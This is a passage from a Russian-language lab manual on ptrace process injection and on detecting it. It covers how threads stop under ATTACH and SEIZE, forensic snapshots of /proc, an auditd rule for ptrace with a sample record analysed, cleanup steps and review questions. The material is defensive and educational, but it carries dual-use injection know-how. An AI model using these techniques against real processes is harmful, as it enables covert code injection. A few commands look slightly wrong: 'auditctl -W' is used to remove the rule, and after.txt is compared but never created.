ptrace(PTRACE_SEIZE, tid, 0, 0);
ptrace(PTRACE_INTERRUPT, tid, 0, 0);
/* затем waitpid(-1, ...) на каждый tid */

5. Сравните число остановленных потоков в двух случаях. Запишите вывод: при ATTACH — один, при SEIZE+INTERRUPT — все.

6. Объясните, почему инъекция в многопоточный сервис без остановки всех потоков приводит к гонке. Приведите конкретный сценарий: поток A держит malloc-блокировку, вы меняете rip в потоке B, поток B вызывает malloc и зависает.

Что должно получиться

В журнале — два состояния /proc/<tid>/status (после ATTACH и после SEIZE), число потоков и объяснение разницы. Вывод для практики: останавливать надо все потоки, иначе инъекция превращается в гонку с непредсказуемым исходом.

Часть 9. Разбор инцидента по снимкам

Задание

Работа выполняется без root на учебном процессе, поэтому часть команд помечена как «пример вывода» — их результат зависит от настроенного auditd.

1. Снимите снимок состояния процесса до вмешательства:

PID=$(pgrep -f multithread | head -1)
{
  echo "--- status ---"
  grep -E 'TracerPid|State|Threads' /proc/$PID/status
  echo "--- maps: исполняемые анонимные регионы ---"
  awk '$2 ~ /x/ && $6 == "" {print}' /proc/$PID/maps
} > before.txt
cat before.txt

--- status ---
TracerPid:	0
State:	S (sleeping)
Threads:	5
--- maps: исполняемые анонимные регионы ---

Пустой список rwx-регионов — нормальное состояние.

2. Выполните инъекцию из части 5 (или подключитесь через gdb -p), затем снова снимите снимок:

grep -E 'TracerPid|State' /proc/$PID/status
awk '$2 ~ /x/ && $6 == "" {print}' /proc/$PID/maps

Запишите, что изменилось. Даже после detach в maps может остаться регион, которого не было: mmap не откатывается.

3. Сравните снимки:

diff before.txt after.txt

4. Проверьте журнал аудита (пример вывода, требуется настроенное правило):

sudo auditctl -a always,exit -F arch=b64 -S ptrace -k ptrace_attach
sudo ausearch -k ptrace_attach -i | tail -20

type=SYSCALL msg=audit(1760889600.412:118): arch=c000003e syscall=101 success=yes
    exit=0 a0=10 a1=7f2c a2=0 a3=0 ppid=4210 pid=4211 auid=1000 uid=1000
    comm="injector" exe="/home/user/lab-09/build/injector" key="ptrace_attach"

Разберите поля: syscall=101 — это ptrace, a0=10 — PTRACE_ATTACH в шестнадцатеричном виде, comm и exe — кто подключался, success=yes — подключение удалось.

5. Составьте вердикт по таблице из теории: какие признаки подтверждены, какие нет, какой вес у каждого.

6. Уборка после разбора. Снимите правило аудита и остановите процесс:

sudo auditctl -W arch=b64 -S ptrace -k ptrace_attach
kill $PID

Что должно получиться

Два снимка, diff между ними и разобранная запись аудита. В журнале — вердикт: был ли факт подключения, что изменилось в карте памяти, какие признаки остались после detach.

Часть 10. Уборка

Задание

1. Остановите сервисы и удалите дампы:

   kill "$(cat /tmp/target.pid)" "$(cat /tmp/target2.pid)" 2>/dev/null || true
   rm -f /tmp/target.core /tmp/target.log /tmp/target2.log /tmp/target.pid /tmp/target2.pid
   make clean
   

2. Удалите правило аудита:

   sudo rm -f /etc/audit/rules.d/ptrace-lab.rules
   sudo augenrules --load
   

3. Убедитесь, что в системе не осталось процессов сервиса:

   pgrep -a target_service || echo 'чисто'
   

Что должно получиться

Чистая система, отсутствие процессов и правил, объяснение, почему дампы удаляются в первую очередь.

Журнал работы

Для каждой части запишите:

1. Что предполагалось увидеть.
2. Фактический вывод.
3. Объяснение расхождения.
4. Для частей 2–5 — какой шаг инъекции выполнялся и что он изменил в целевом процессе.

Дополнительно заполните таблицу для каждого шага инъекции:

Отдельно ответьте на три вопроса:

• Почему адрес функции нельзя захардкодить и как его вычисляют?
• Что произойдёт, если не выровнять стек перед вызовом функции?
• Какие три источника показывают, что процесс трассируется?

Контрольные вопросы

1. Что описывает vm_area_struct и какие поля в ней важны для чтения памяти?
2. Как читаются поля /proc/<pid>/maps и что означает p в правах?
3. Почему чтение /proc/<pid>/mem требует pread, а не read?
4. Чем process_vm_readv отличается от чтения через /proc/<pid>/mem?
5. Что проверяет ядро при открытии /proc/<pid>/mem?
6. Какие четыре уровня ptrace_scope и что разрешает каждый?
7. Что делает PR_SET_PTRACER_ANY и почему это ослабляет защиту?
8. Чем PTRACE_ATTACH отличается от PTRACE_SEIZE?
9. Зачем нужен waitpid после PTRACE_ATTACH и какой флаг обязателен для потоков?
10. Почему перед вызовом функции нужно выравнивать rsp по ABI?
11. Зачем сбрасывать orig_rax перед подменой rip?
12. Как вычислить адрес функции в PIE-бинарнике?
13. Что попадает в core-дамп и как это ограничить?
14. Какие источники покажут ptrace и почему их нельзя обойти из user space?